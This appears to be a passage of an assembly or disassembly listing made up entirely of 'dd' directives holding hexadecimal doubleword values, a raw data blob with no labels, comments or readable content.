		dd 761206h, 837F0834h, 685701C2h, 0AF22AC17h, 41D31A0Bh
		dd 6D7040F3h, 0A9CE0B05h, 8FF48244h, 0FD126A24h, 547C63ABh
		dd 0E69A4DAh, 0B5BB385Ch, 0A0B156F8h, 5ACE64C6h, 0B9515601h
		dd 0E8F38C0h, 2423C30h,	890A1CEFh, 0C755BDEh, 9B2438h
		dd 0C169A95Dh, 0D9F708E1h, 66050CB0h, 21418031h, 0D4B28AC1h
		dd 0F65E5B92h, 2DEE207Bh, 0EEC4C727h, 916BBBF0h, 89DE5E10h
		dd 0EC689BFAh, 0E17B4CA9h, 72C7013Ch, 0F7E908A0h, 9DF6E24Eh
		dd 14D2590Bh, 55910C26h, 19DB6812h, 2CF9FECh, 0D873380Eh
		dd 49521FE2h, 0D2D74FA0h, 57E1CDB4h, 928BC06Ah,	742F986Ch
		dd 979A9629h, 12001942h, 9559772Dh, 9A1E1E7Ah, 0A22F1F46h
		dd 5D384F0Ah, 50D3A714h, 40744898h, 0E01F2CCFh,	6F7AE828h
		dd 2D7BDE6h, 24686B88h,	0C041452Dh, 0DD37F36h, 96096F90h
		dd 0F0CFE5Ah, 5C21803Ch, 9D23E96Ch, 4B7134C2h, 961784ACh
		dd 0D2D24F54h, 90E8FAD1h, 70EC1AA6h, 6209315Eh,	50BEE92Eh
		dd 2F5F5847h, 3616110Ch, 591FEE0Ch, 0E90B7613h,	979478E4h
		dd 3780D487h, 0E0C33301h, 2BA034F1h, 0B9E4CCCDh, 9C6B94E3h
		dd 4F4ACBD4h, 0BCC41285h, 40AD9390h, 0D2EAE392h, 82CB23BAh
		dd 40C7CD48h, 7A09A48Ch, 45F4680h, 27E502C9h, 697F84C2h
		dd 66565159h, 0DE0D69B4h, 6D694999h, 0AE8B6F34h, 0DC6AE90Ch
		dd 0CBBEE6BDh, 0D4C68160h, 39D091Ah, 7DC02DE9h,	0F8EEDBF7h
		dd 1250A6Fh, 5908D71Dh,	0C1F0042Eh, 0CE2BC0E6h,	38243FF2h
		dd 53375645h, 87F32901h, 0E7AE221h, 3F22EED9h, 0C611C539h
		dd 3F7E3229h, 563F48ACh, 88ED076h, 77DB024Fh, 43C0E258h
		dd 3E24E7C3h, 0DF0B4655h, 0F5B7113Bh, 9151102Ch, 4A0BAE60h
		dd 9886C9F2h, 0B0108F6Ch, 31629783h, 0C3EB0084h, 8CBDA5B8h
		dd 77DB142h, 811CF139h,	0E9D074C1h, 28EDB050h, 0CBCC58E1h
		dd 4CA69D59h, 66620640h, 55C0E422h, 298A0763h, 963DB445h
		dd 0C28A06FEh, 0DD0C7927h, 283A3A6Eh, 0F5EBFBF9h, 40AE240Fh
		dd 976BCDB8h, 0F42972D1h, 4129A7Ah, 7C3230BDh, 9288C43Dh
		dd 20440827h, 0F7FB8EF1h, 0A097E9D7h, 5AE768F2h, 5B343DF1h
		dd 1709AE98h, 0CC201985h, 835C4E74h, 51B14766h,	71C6992h
		dd 341725BBh, 0D77F0B30h, 162D7910h, 0E04BE94Ch, 0EF0235C3h
		dd 8948AF14h, 52ECE8C5h, 6C902863h, 98DAC0E8h, 0F678E933h
		dd 0C34CC992h, 9F188653h, 813C98EDh, 8665FBE7h,	28D4316Bh
		dd 0F4B12BCCh, 0D3CDE431h, 5AB6C22Eh, 0EA571255h, 34155DFh
		dd 7B5902E1h, 0F1210A3Dh, 0BE263E3Dh, 1463404Eh, 8928CD96h
		dd 0E69DA3FBh, 31CC9FA6h, 16024227h, 3E7DD42Ah,	6A2A925h
		dd 84FD65E1h, 47F192B2h, 0AE2A342Eh, 50A90562h,	53581221h
		dd 964CAD54h, 0DA89CEB9h, 0BD046C50h, 7F1E28ECh, 0DE5829ECh
		dd 0F7450505h, 9AC207D5h, 0C26D606h, 4D2FB2E0h,	0FB64E0E0h
		dd 49A4DD95h, 0D548E31h, 7F027881h, 0B927335h, 2D09EF01h
		dd 0BDAF2046h, 24AE67B6h, 20EC836Ah, 984D098Ch,	0E3009551h
		dd 6FD7045Ah, 42E5EB92h, 0D5E5D08h, 0DA450069h,	937A3776h
		dd 45A79699h, 0A9B36816h, 0DAEF10B9h, 0F24C944Ch, 0DB3E8401h
		dd 83DDF762h, 83CEF80h,	0C0104B5Fh, 0D301922Ah,	8DA1034Ah
		dd 81A5FF19h, 0D452D871h, 0AF51C90Dh, 92D9E78Bh, 92D48206h
		dd 5144C8Dh, 8C17B9CFh,	0A2B19C5Fh, 0E8C7A060h,	62355Dh
		dd 57AD53Ah, 5F026770h,	0FC3DE5EBh, 0EB792D03h,	16E2004h
		dd 29EB58C3h, 0DEC9A02Eh, 70B6BC40h, 72E64C55h,	0F6A2EE07h
		dd 0B8615ED6h, 819C16E9h
		dd 37B02D24h, 9DE866FEh, 0C997B44Dh, 0FA96C853h, 0E8304344h
		dd 0E6FBEC3h, 3EEC011h,	0FE07E661h, 687093C6h, 167ADAACh
		dd 5775E90Fh, 0CEFEB8BAh, 6616AB68h, 0FC4A260Bh, 9AF18B83h
		dd 0A7B53B06h, 9D5CC479h, 1FC648Fh, 5EEBCBBAh, 0A05BE3DEh
		dd 4A5A681Eh, 0F1E90306h, 0D3F7016Fh, 0C981D987h, 3349C013h
		dd 99DCFCEDh, 31B7C112h, 3EEB4FA0h, 67056E4Dh, 0AD8EBAE9h
		dd 5208D297h, 8C6AAFA3h, 0B7304E57h, 254CEA6Bh,	0D6772C55h
		dd 7DB65244h, 593BBF1Bh, 230EBEA8h, 1DC01358h, 79D372BCh
		dd 2DA7B0h, 68C74E5Ah, 0ADE95057h, 0BB5B3E92h, 0BCBC4057h
		dd 0CB5B0816h, 8C3C1074h, 4777680Bh, 45CF1056h,	2DAF186Dh
		dd 15E4407Eh, 18187262h, 0C3FCDE01h, 7F4E95A9h,	105E0598h
		dd 6357C8C2h, 0CF1921Bh, 0D241390Ch, 0B89BC43Bh, 0F3BDD2ADh
		dd 97565125h, 0B132F7F2h, 0AB52AE76h, 89E9FE2Ch, 948AD1F7h
		dd 0F8824BBBh, 5CDAB164h, 0A0D6009h, 59DA0067h,	1E15EB5Ch
		dd 4107E7C1h, 795287EFh, 48807B5Eh, 96B8E4E9h, 29686286h
		dd 0F16A25D4h, 0AC05A610h, 0C037B353h, 9042837h, 5AA12FFDh
		dd 613754FEh, 895AD329h, 0CC665CC5h, 6C01E589h,	801F28D6h
		dd 1D0685C2h, 0F316B73Ah, 538F1027h, 0A95AC00h,	0CBF62268h
		dd 68125D94h, 0CF67585Ah, 0E3FC0A24h, 0B30F66C2h, 182B31E4h
		dd 521E868Bh, 64992B89h, 685700B5h, 77CB3269h, 0E93B535Fh
		dd 0C6DE3F2h, 40B37435h, 0DE65F7F0h, 1B80D104h,	1D63D7F6h
		dd 0FC46670Dh, 941F5285h, 0C714EB2Fh, 96F94A10h, 2B5F0C69h
		dd 0BB5904A2h, 412401A3h, 0B6F6A572h, 8180D92Fh, 0E6E2D474h
		dd 0B6722E29h, 1D2D77EAh, 29D03A0Ch, 95D8CAE9h,	0FA709822h
		dd 1A2BA348h, 0E4F44D8Bh, 997174Dh, 0CD455DD3h,	0FFA83292h
		dd 0D4F3775Ah, 0C110A14Dh, 98047EF8h, 0C2B203E4h, 0DA02212Fh
		dd 0E521F22Fh, 4DF85339h, 1C319045h, 0AF934E2Eh, 8912BE50h
		dd 0E9B85DEAh, 76533B7Ch, 4BFDCA04h, 0C5DF43Fh,	32B84C7Ch
		dd 9A6A6500h, 9DC90541h, 852C5077h, 911417CEh, 0E9080561h
		dd 3054D206h, 0F200944h, 0DE89258Ah, 1C2B576h, 0D84242F3h
		dd 0A3BA7D51h, 5EF6D374h, 28658B14h, 0E2202D01h, 3529A089h
		dd 0B33DC937h, 0F205845Ah, 69C459D8h, 0AA15C2h,	0AE4C63B8h
		dd 28050B02h, 0F4220476h, 295A04D8h, 96028060h,	1A2A9B3Dh
		dd 2305CDD1h, 21E069F7h, 0E9BD47FFh, 0E75C6EFFh, 126DD9F9h
		dd 16BC8E2Ah, 31A3DB6Eh, 0BC54B79h, 0F9585104h,	0A665BD0Bh
		dd 45D25C1Dh, 168DE885h, 0D2B7896Bh, 67F50476h,	8220C01Eh
		dd 0BD00B4B4h, 603ABE7Dh, 357523Eh, 2D044D76h, 1FAD6C25h
		dd 3517CCE8h, 0C597ECD7h, 695EEC52h, 6B49D813h,	3FF0C958h
		dd 4F8DD048h, 602920Bh,	6267C540h, 2AE75C48h, 292FB51Ch
		dd 69FFF1D7h, 0E8C3B3F4h, 0F1CB000Eh, 0D3BA57BBh, 97D4CA89h
		dd 4F22D66h, 0A0985E72h, 6B7309BDh, 0A07F6139h,	2DE2ED1Ah
		dd 4D630459h, 0BEA796E9h, 0E0304727h, 0C166CF51h, 0AB282F0Ch
		dd 2E9322Eh, 0CD9036C7h, 184157AEh, 22D64152h, 0D6439D9Eh
		dd 0C11E27CCh, 14149FE8h, 0E91923E8h, 5032E025h, 41F3AE30h
		dd 13C06F36h, 3E7FF02Dh, 4BFF03FBh, 2B4FC9F1h, 68178CB3h
		dd 0C2E8A8F8h, 5765E954h, 0D6252D65h, 98458B1Bh, 0D2F507E8h
		dd 3A5C5C90h, 3BEE2C8Dh, 0BD00C910h, 6D112F9Ch,	0DD7DF74Dh
		dd 9C09E14Ah, 0BF67F268h, 48750C62h, 27F22979h,	0A3D27AE9h
		dd 0CF27D777h, 4ADEC4BEh, 1F7DF4FEh, 0F5208841h, 0ADDC6022h
		dd 0E70B8EEh, 62010227h, 1C080C7Bh, 7EEB90D3h, 0D8CE681Dh
		dd 0E591A08h, 5B5F6BF2h, 0D0E9BE20h, 202DB38Eh,	0BF420B2h
		dd 250BCB98h, 0F8728671h, 5662086h, 80CBFE0Ah, 0D80DFAF3h
		dd 0B03A4A5Bh, 6CF872Ah, 8EC3E742h, 0BA08720Eh,	8E62403h
		dd 582DD83Bh, 15682F23h, 8D400D8Ch, 5784BAB7h, 0CDE59D8Bh
		dd 720C52Dh, 5CA4E95Ch,	0EB0BD112h, 804BD3F7h, 28236E61h
		dd 0D0094856h, 0E981242Fh, 3126EDBAh, 3497E9BCh, 0C5723196h
		dd 0D5F7E802h, 0D4585550h, 565D625Fh, 7BA6DCE8h, 43E19AB7h
		dd 8A104A0Bh, 2EB5461Eh, 46A74435h, 0D5929FCDh,	4A44F962h
		dd 9AF8EB2Eh, 0AC6CA740h, 0D7F72E77h, 61C6059Ch, 1E5282E1h
		dd 66BD6148h, 28067F16h, 0DB60B08h, 0E8E99E68h,	0B9A8945Ch
		dd 2D0E04E8h, 12588445h, 19ADFC70h, 6E0B5853h, 0FD4F3309h
		dd 722ED60h, 2E28927h, 0DAEE7162h, 0AF3C48CCh, 0CD4A4284h
		dd 6AE1E0D2h, 1EEB7DC5h, 2EE929BFh, 888BB4A2h, 405D2BC2h
		dd 0B49BE9B4h, 35580090h, 8302168h, 6D204D90h, 5A662514h
		dd 484CB0DAh, 50D120B3h, 12A19A5Eh, 87DCF15h, 0D24BD36Fh
		dd 89E45BABh, 270DE0A9h, 0F10064BFh, 0CEC378D2h, 0B95381F0h
		dd 2C8B1771h, 0AFB43EFCh, 2FC8C435h, 0BF787EE9h, 68150544h
		dd 308A3E92h, 5266836Eh, 28B31BB2h, 5EEAD0D3h, 0EEC02448h
		dd 392104BDh, 6C0181A9h, 2952615Ch, 44061C3h, 0E958B008h
		dd 0E744DC2Fh, 65B825ACh, 0E39A90E9h, 0F4F72932h, 0A7F9D46Dh
		dd 8BF52580h, 0E095E74Ah, 2DFEBC47h, 7E5033F2h,	46BBFD2Fh
		dd 468C2ECAh, 68566095h, 62E02AC2h, 6A015E25h, 0CA6242F1h
		dd 6B49D6DDh, 0E9D0C87Ch, 4BBB216h, 0F910A105h,	0C8C0EA7Dh
		dd 342FC2Dh, 0C6019427h, 942F5058h, 0A85C4BFh, 3F447906h
		dd 0E77C009Bh, 0DD89DE48h, 0BEDA5B60h, 90749926h, 0AD80B6Eh
		dd 0D9F81F35h, 9497D0E6h, 0EA0CB5D8h, 0DF4B9866h, 26B290C8h
		dd 87D852A8h, 63EA865Ah, 26A730CDh, 0D89708D5h,	0C28009C7h
		dd 0C703040Bh, 0C2A42CD0h, 0FFDAEDFAh, 1DB604D8h, 79B23F13h
		dd 0AD4946A4h, 0D55D7840h, 16B7BF80h, 14D1022h,	246808B0h
		dd 80965119h, 55640293h, 85013502h, 1E13BC08h, 4EBE6E40h
		dd 0A314451Dh, 76B9E79Ch, 5CEE2FA1h, 49F224B5h,	1CB38494h
		dd 37B7BB00h, 0CB81156Eh, 0BD0A8224h, 0B67D1639h, 0FE562262h
		dd 0AF0393D8h, 1A6E3320h, 9D5E20h, 57BD556Dh, 34C527Ah
		dd 12EC043Ah, 398134A1h, 856DEDBEh, 0D4038B00h,	1820050Ch
		dd 2962DB18h, 828F45C0h, 508E3760h, 0ADCBB43Dh,	0C52FA4AEh
		dd 0B4FD97BEh, 74AABC05h, 9D167A97h, 0BB53E218h, 0D5341F09h
		dd 0CD1A0E44h, 6E420C32h, 0C30CC8B0h, 6782BD66h, 5B018453h
		dd 0F930D601h, 0E2131320h, 212DBA10h, 81033020h, 0AE1EEF80h
		dd 7BD345ECh, 946985A1h, 898BE996h, 891CC5F5h, 7656556Bh
		dd 0B7015958h, 10E9FCB8h, 9EE9EB4Eh, 0A9C45CC9h, 19427127h
		dd 0AF8A8F43h, 39CCEEC1h, 6F48DF84h, 4D70010Eh,	9CA839FAh
		dd 3A0882A0h, 66185554h, 8FB110AAh, 17755802h, 0C9BA8027h
		dd 176FCD0Eh, 933CE94Bh, 50B5EE9Ah, 0EF068949h,	265FF77Dh
		dd 7A5C74A9h, 7B2F1120h, 30777F68h, 0BF3A4532h,	4C2C5B3Ch
		dd 91029826h, 0E0119666h, 5095E66h, 0E9475A35h,	3856E107h
		dd 220BD66Ch, 21FEA28Ch, 50774EEh, 0C1A5B6F2h, 2E3DC064h
		dd 0F857819Ch, 0B4C5B2F1h, 0B619C90h, 23E8564Fh, 5A81F0DEh
		dd 97FE876Eh, 3A554977h, 20D9F040h, 93583124h, 0D2AF106Ch
		dd 2A14724h, 2DF41230h,	0A874887Dh, 4006D001h, 0FF6C2933h
		dd 135D0840h, 3085A5E9h, 0AB951D5h, 19EC6C1Fh, 0FF96A4BEh
		dd 975B7282h, 5D7CE16Dh, 0A74FF2D7h, 168468A4h,	0EACBE3BCh
		dd 194E78DAh, 0B9CCAABCh, 0D2B002C5h, 350B2520h, 56C2535Ah
		dd 0E274B898h, 0C0043202h
		dd 0B219D4A2h, 438F85D3h, 6B4C6FADh, 894ED15Fh,	9ADFC13h
		dd 994366BDh, 0C1D03ED5h, 5C64044h, 157DEC09h, 0F2E8843Eh
		dd 1A555F09h, 0BAB7BB36h, 20B8F736h, 4FC084E9h,	1C48F8B8h
		dd 59407B34h, 6858C197h, 6840FE3Ch, 120EF92Fh, 271C556Ah
		dd 0FF4311F5h, 6A88993Eh, 94E9E031h, 0B351102Ah, 0A54E3826h
		dd 0FB4A08DAh, 543C75B1h, 0B8BA16A4h, 6084E5F2h, 0B33631FEh
		dd 5CB78AF9h, 0A56FF013h, 9BA981D8h, 1B8FA111h,	0D9715AD0h
		dd 212EB91Bh, 92D3F72Eh, 66EC5D0Bh, 845BB94Eh, 741240F6h
		dd 70970C4Ch, 0ED40028Dh, 4FE60581h, 0E6297B79h, 0B2B52AF0h
		dd 0BFF2810Fh, 64B92F33h, 49D4351h, 0BB9C34ADh,	0F19B099Dh
		dd 8590E922h, 3895CC9Fh, 0C4372C8Dh, 970AE93Fh,	965D89D2h
		dd 0B73A9D79h, 4B47E97Ch, 3BA42598h, 0E094D48Eh, 0BFB1E369h
		dd 565B5441h, 0A8EA33F9h, 0DCD9FC6h, 0D515B931h, 0DE3E7AF3h
		dd 81AC7C26h, 1F0851BAh, 559C434Dh, 360D58h, 3E094568h
		dd 4EE95B37h, 270DB9FCh, 63C5960Ch, 1CCAA854h, 7638570Bh
		dd 9AD50B2h, 2BAB6B46h,	0B6C664E8h, 4A4F503Bh, 0F600A0ADh
		dd 0E2A3831h, 0DF9E63E9h, 77615E12h, 0BF2CF021h, 818E0FD2h
		dd 0BA521270h, 0FA1682E2h, 0F7C2F087h, 5859F31Ch, 0ADE0E984h
		dd 0A1B42BEh, 0BDE01A6Ah, 6681F61Fh, 39CD341h, 0A2760BB7h
		dd 0EE6CE801h, 682C55FCh, 0E9858A10h, 28AA9D64h, 68BD665Dh
		dd 7F05EFF7h, 17FDE84Fh, 0CCA184Bh, 0C335C6B4h,	0D2B7DA97h
		dd 0C352FA0Ch, 0E977D50Ah, 0AA59C44Eh, 5B2665ADh, 0C87C1E9Bh
		dd 0CE3C1A9Eh, 0FCC24B98h, 0A3DA4EA6h, 8002184Fh, 7F57EA73h
		dd 4615AC3h, 0DCF8311Bh, 0A896D429h, 0C0D3F601h, 576008EBh
		dd 0EA89B4E1h, 4930133Ch, 0FC0229B1h, 79F9C601h, 580A5449h
		dd 0DCA82968h, 3A40DCE9h, 71CCBFADh, 0C705150Bh, 0EDF0587Bh
		dd 0F7BBB7Dh, 6A2D7C02h, 2E06D8ABh, 0F13F9DF3h,	0C119AFA0h
		dd 0CA7EC036h, 0B1121B4h, 0CA467F79h, 47FE9230h, 24FD8AC6h
		dd 2D91DBE6h, 180C94Ah,	645B6D20h, 806C0BBDh, 8EB75320h
		dd 2CE73380h, 0C7B32206h, 648DE9C1h, 0ED3268DBh, 0F48EED73h
		dd 98B40EAEh, 9DC174E9h, 8E3D6A5Eh, 0A8A0643Bh,	0F6BDA099h
		dd 1E6B2474h, 1DC260Eh,	7AE9109Eh, 52493B0Fh, 0E2F05Fh
		dd 2D6EAF77h, 21D67833h, 409B1CD4h, 1D4FE908h, 0EBC33584h
		dd 0CBF9037Eh, 2326609Ah, 2F28F3B0h, 1D209B2Eh,	0E703D900h
		dd 73CB290Ah, 4631F159h, 2180916Eh, 56CE7AECh, 0A2B68412h
		dd 0C8A25B07h, 3A532B4Bh, 0B4925A54h, 0D25E435Eh, 0F50FEA62h
		dd 1C54E696h, 0C1E85BC2h, 41BE47F0h, 55A52C09h,	5180D78Eh
		dd 0F58050B5h, 20E96B12h, 44B97543h, 8982BC45h,	500E48CFh
		dd 65909054h, 84C44518h, 93E3E900h, 7DA70016h, 0F5925F27h
		dd 60128ADCh, 5BA2C40h,	0B036643Bh, 762E239h, 0EAC17433h
		dd 5BCA9007h, 317FB537h, 0A8EE204h, 87EA3817h, 6C85435h
		dd 5350515Dh, 680BAADCh, 0C9F10B54h, 4868501Eh,	9322585Eh
		dd 261B405Fh, 7F802503h, 0F03101FEh, 2800D10Fh,	0D2692CD0h
		dd 500D51E6h, 0E9185251h, 313C8270h, 5E1AB0DAh,	0BFA6004Dh
		dd 21E02F02h, 23EE8102h, 4826AA75h, 1A3F22B7h, 1CFE2916h
		dd 1390080Ah, 0A3633586h, 0A7503FDFh, 0BE99F17Dh, 0FBD6FB67h
		dd 0E0F2491Bh, 0BF830C45h, 24814D7h, 65CBC78Ch,	0D2605474h
		dd 0C3E5CD5h, 62CF004Ch, 0D1324F6Ah, 58E498E7h,	0EA20A507h
		dd 77C3801Eh, 0FCF5B00Bh, 5B4BCF4Bh, 5F5AEE70h,	294AFAE2h
		dd 2A522082h, 3FBCB64Bh, 66DCA1E4h, 252A5815h, 0CCC9D6ABh
		dd 0A550B172h, 495B8BCh, 13FA4565h, 0CD29001Ah,	10061196h
		dd 3670C1B0h, 3151DA0Bh, 0D39D24F5h, 0D3B7F0F8h, 0D3B0BA3h
		dd 60AFA5EBh, 1C36B57Fh, 2587C580h, 0E2BF47E0h,	660AD81h
		dd 893BF392h, 5707FD2Eh, 0EEA0FDDFh, 0D6FBA244h, 6805C4DEh
		dd 3FEC1427h, 937858C9h, 0AC56D395h, 0D4544B91h, 9094E52Fh
		dd 5E70D8C0h, 0DA66973Ch, 3E5B55F2h, 208B7FB6h,	7C6C0D10h
		dd 2CE4B080h, 851DC328h, 27799368h, 779072BBh, 0B4273446h
		dd 39D076B5h, 0CDDE4AEh, 3546BA18h, 0A14F8704h,	0F1A05068h
		dd 277512CAh, 0EA0D0A0Ah, 56580907h, 4F22C780h,	0BE7D3CABh
		dd 3A0D0412h, 0C48D8A0Eh, 30F506A1h, 0EE440806h, 7F40F4DBh
		dd 0E9F21614h, 0BF325386h, 0F1B1273Dh, 65661D2h, 0B0501616h
		dd 0D2E912E2h, 0EC77E1B6h, 138FFC5Eh, 401C57h, 654C8A02h
		dd 0A0F90134h, 1CD0081Ch, 5D9C5814h, 0BA2CD714h, 0C46927E9h
		dd 5FEE845Ah, 0F398974Bh, 2B1D6227h, 0EC750FCFh, 105811B7h
		dd 7B8E1004h, 139AEC50h, 0ACCA16FAh, 0D1F7171Fh, 6921101h
		dd 0B4840D8Bh, 8391D2DFh, 56F0C5B4h, 0BD9032B8h, 80ABCA2h
		dd 0AC100C74h, 3DFAC257h, 4A1E9F2Dh, 3080925h, 0DE8AF2h
		dd 660D5B28h, 57C3425h,	450BF400h, 388E2D19h, 0B16E5F01h
		dd 5206B0BDh, 48434964h, 5A71A22Bh, 42D39DF2h, 27F7F799h
		dd 0E6CB7CBAh, 0C5922634h, 1475E941h, 9D47BD3Dh, 5312632Ch
		dd 0FBD97F0h, 308264B0h, 125E0E49h, 54E652C4h, 6727512Ch
		dd 94A1E5E9h, 53C8044h,	0EB0AE581h, 0A4037A3Ch,	4A2FF03Ch
		dd 5A285A02h, 0BD0D2CF3h, 0B442399Ch, 8BE55DAFh, 0F47F2E3Eh
		dd 7A9B98BAh, 6F5880Ah,	0F6C5865Ah, 803808D0h, 0E606E0EDh
		dd 0F104EF2Ch, 0C010873Fh, 3F685266h, 26207E5Ah, 25E9EFB7h
		dd 2EF131CCh, 0FF54642h, 4161F760h, 13E9BE8h, 0AF8092FBh
		dd 0D0AFC5CDh, 7BED4794h, 0F65FA3DAh, 550992A0h, 1A54620Ah
		dd 25A5D68Bh, 0E1E7EB30h, 9CA366BFh, 9114C910h,	77FEF598h
		dd 1D162Fh, 88D8F330h, 1E23AE9h, 2B81B0D1h, 6B1239BDh
		dd 0EF3D2028h, 0C72D9E5Ch, 0CAD22BBFh, 0E566031h, 0E0644A7Fh
		dd 1118DA7Eh, 0FD0C4954h, 2D852559h, 0EF256760h, 4425D997h
		dd 8541C150h, 0D1B03470h, 2D12E07Eh, 3105CB7Eh,	983632FBh
		dd 34C66F36h, 0C106F00Ch, 65256090h, 0B65FE483h, 0F5EA2803h
		dd 417A2F60h, 2CAAE96Fh, 814050A1h, 1FBDEB4Fh, 2D245E25h
		dd 5BE9E056h, 3D2623B1h, 0AF4B5FE7h, 2D79A9E5h,	0C82E180Ch
		dd 8C41832Fh, 13909A6Bh, 0A7C315E9h, 127EB14Bh,	628BD02Fh
		dd 234E8667h, 0C04FB8FCh, 3EC1E51Ch, 30152C27h,	96BD1A2Eh
		dd 0C255E7C6h, 94D7DC42h, 96C60586h, 0A975093Bh, 8084107h
		dd 0F24E8914h, 0D0ACAA21h, 0F1EFAB53h, 723B3C87h, 0EBEA6CF0h
		dd 0AC4F1C0h, 2C5C1C92h, 0E81A2F52h, 133FC04Ch,	0FE015C06h
		dd 0C1A3A64h, 5856DE73h, 0CF96F2DFh, 75274862h,	79528C6h
		dd 20D453FFh, 7C9D06D4h, 676CC3F1h, 16E19E5Fh, 0EEC0B1E9h
		dd 0FB951ADh, 64E472AFh, 0DD1D169Ch, 208A6F49h,	0A120FA48h
		dd 68BA81BDh, 936858E5h, 17845C4h, 573AA3BBh, 7CF39130h
		dd 34CC0693h, 1203E3C1h, 52CD1509h, 0ABC608BEh,	0D588B316h
		dd 0E06B4AB1h, 5FB5980h, 0F2582EA8h, 7594C509h,	0E9ED0FC1h
		dd 0E90FD4E5h, 0E3F50D4Ah, 774FC708h, 0C8C6A425h, 5D674418h
		dd 264C5EAh, 3A77E521h,	92296898h, 57500614h, 698828E9h
		dd 0B3487980h, 6282B8BEh, 77699F4Eh, 7742DF42h,	565E4D44h
		dd 0E2997475h, 0C5105C39h, 0E8C84ACFh, 9849738h, 0DF0ABC5Ah
		dd 7605210Bh, 0B8976E45h, 6EFB54Ah, 0DF1E923Eh,	5DBE8BDh
		dd 6E6919B5h, 472DAA60h, 34955007h, 8EA83289h, 6419FE9h
		dd 0F739F03Eh, 41CDA48h
		dd 185C1BE4h, 1D63C82h,	2E106D68h, 13C293CDh, 8E56863Ch
		dd 1617052Ah, 757892Ch,	0DB2714BFh, 0F5E7C158h,	2A39C178h
		dd 25E91BE0h, 7E8A0D8h,	453B3D66h, 89A27973h, 2616E07Dh
		dd 2EAD095Dh, 2FD888E9h, 0F46DD6C2h, 209C7865h,	0C88BBE0Ah
		dd 3A825EC1h, 0E1829627h, 78A17AF0h, 76E02C2Ch,	1876697Bh
		dd 0E03560D2h, 2EEC2443h, 56DD006Dh, 1DE96119h,	0DF5205Bh
		dd 41642FFEh, 0BBF1315h, 98743F7Eh, 20202FA8h, 92BE04F3h
		dd 806AD052h, 2FAD72E5h, 33BF9548h, 0B7B53C28h,	60AEE854h
		dd 0C013B607h, 0C1B5F790h, 0BCC361F1h, 11F0161Ch, 405FD60Bh
		dd 871EF66Dh, 49927FB7h, 0E06FEFB4h, 4A417EC3h,	0CA0CDC3Bh
		dd 12C6A264h, 0DD8156ABh, 0A5A3112Fh, 5B777E92h, 1090F529h
		dd 0F9B97635h, 7DCA664Fh, 96459516h, 718EDD09h,	402A3C39h
		dd 0E942BF91h, 0D3C24C7Dh, 0D25C1E25h, 87B184D4h, 12E6549Ah
		dd 0DC106AFDh, 0B0225ADEh, 11A60F8Bh, 0C2059F9Ah, 7B5C7894h
		dd 0EEA112BAh, 8B76E41h, 2D6079A5h, 4AE1F0ADh, 10E7F8FDh
		dd 0C62DCE01h, 5CD2E2CEh, 5CC9F5A9h, 7C7E89D5h,	7878D27Eh
		dd 805B9738h, 68505662h, 6336C2Eh, 35485867h, 89B70F2Ch
		dd 8C7DE61h, 7E25D509h,	5F3E97E1h, 0A8C3D247h, 30FCD31Eh
		dd 0B4E4E9C2h, 18921FDBh, 755B33D1h, 0F8B1EA11h, 524A833Bh
		dd 0C10209FCh, 1103B2E5h, 0DE496CD4h, 0F768B69h, 23FE23D2h
		dd 0F86F2D2Fh, 9492DD5h, 71179BFBh, 0EB48EF4Fh,	80146029h
		dd 205B1EC4h, 0BAEC89E6h, 67A68DDBh, 245138h, 0FC768FEh
		dd 0BEB5397h, 75F4DD30h, 82E56D50h, 3310595Eh, 11AD97h
		dd 520F26DEh, 9406EAC1h, 7DBE5069h, 2FCB0E26h, 0EA11402Dh
		dd 8103DDFFh, 284EBECAh, 0FFC3077h, 87C1014h, 54C20215h
		dd 0D752FD04h, 0EF20480Fh, 1A2F6EC9h, 809C5AB5h, 1FD5908h
		dd 7146857h, 305F22DEh,	7000BCC0h, 0E1817E36h, 308810F8h
		dd 0C11A5259h, 2158BE0Dh, 26802026h, 152E5D1h, 67D6615Dh
		dd 4413A01h, 1B41F84Dh,	25A7C03Bh, 7A033DB5h, 0F683051Fh
		dd 0F787FC9Dh, 4FC3D53Ch, 0D0CE602h, 17066851h,	2808F707h
		dd 0CE94088Dh, 31925344h, 0DE47CAF8h, 5AD8E725h, 0E2AA5197h
		dd 0A854C0E9h, 40F4880Eh, 285A58E3h, 0F630B5D8h, 4ABDC330h
		dd 0B1C45D2Fh, 0A023D42Fh, 7EA9C894h, 4BDBBCA4h, 4C4412F6h
		dd 9A7E33A8h, 0A1C92530h, 0D29F19C4h, 5CD10BA1h, 8B103A42h
		dd 4B99E0E6h, 508EBA80h, 518147E5h, 274206F2h, 6AD6DE8Bh
		dd 0ACFE0847h, 0BF07272Ch, 42341CA3h, 3D531387h, 0BBB88817h
		dd 55A82E21h, 0CA0825CBh, 728B3BD8h, 0A980D31Eh, 570311F1h
		dd 48C17348h, 0A016054Eh, 0B7E9BD55h, 3234EA45h, 81E6403Ah
		dd 34E5E300h, 0EBC158F9h, 7FCFF302h, 0D23EC0A3h, 0E9333B26h
		dd 0C8808F25h, 0E08EF7BBh, 0E73E76E7h, 485A72FCh, 34045B16h
		dd 0B4C6CC27h, 0BB5B2316h, 0CA7A6129h, 448D2E89h, 38FE298Ch
		dd 48F1438Bh, 731F84F6h, 1DC310Ah, 2B155C05h, 0FD783135h
		dd 5EDB6CF2h, 0F5FD81C8h, 4113F703h, 55F88E8Dh,	0F3683AC1h
		dd 0FAA6402Ah, 78286633h, 9B09A749h, 0D5F40D4Eh, 60E5118Fh
		dd 0F59940E2h, 7CC256B0h, 0C5F5A0BDh, 48CCB51Bh, 2D71B377h
		dd 1FD9A475h, 5AD529C1h, 1DABE20h, 0F72BEB3Ah, 2E63E9D3h
		dd 77578782h, 0E0F6941Eh, 8A82595h, 0A3390CC7h,	0C4525B74h
		dd 0B0A1E7C6h, 356A14C0h, 0B306E667h, 0C17EC14h, 3BC7F9A0h
		dd 0F82149h, 0F78BA6C5h, 27EF29A2h, 10412E9h, 2BC9C721h
		dd 94BB5D8h, 0E3EDACC0h, 5A9925BFh, 0C9206B72h,	0E8584F9Fh
		dd 4A37BCB2h, 2E84E377h, 0BA807DE2h, 783422E1h,	131BF481h
		dd 18713B30h, 20B93136h, 24BC3B4h, 7D463280h, 807476Ah
		dd 8B599389h, 0EA765D2Ch, 83B73CA7h, 0FE13E0C6h, 921FB02Dh
		dd 0EAD1016Eh, 840FD039h, 930688Fh, 0D932A268h,	49DD960Ch
		dd 545E2183h, 3BF6AE08h, 9A018548h, 12A10F9h, 30372BFBh
		dd 6982DF85h, 99E1F609h, 2ABDAB52h, 9B601AB5h, 0F720C307h
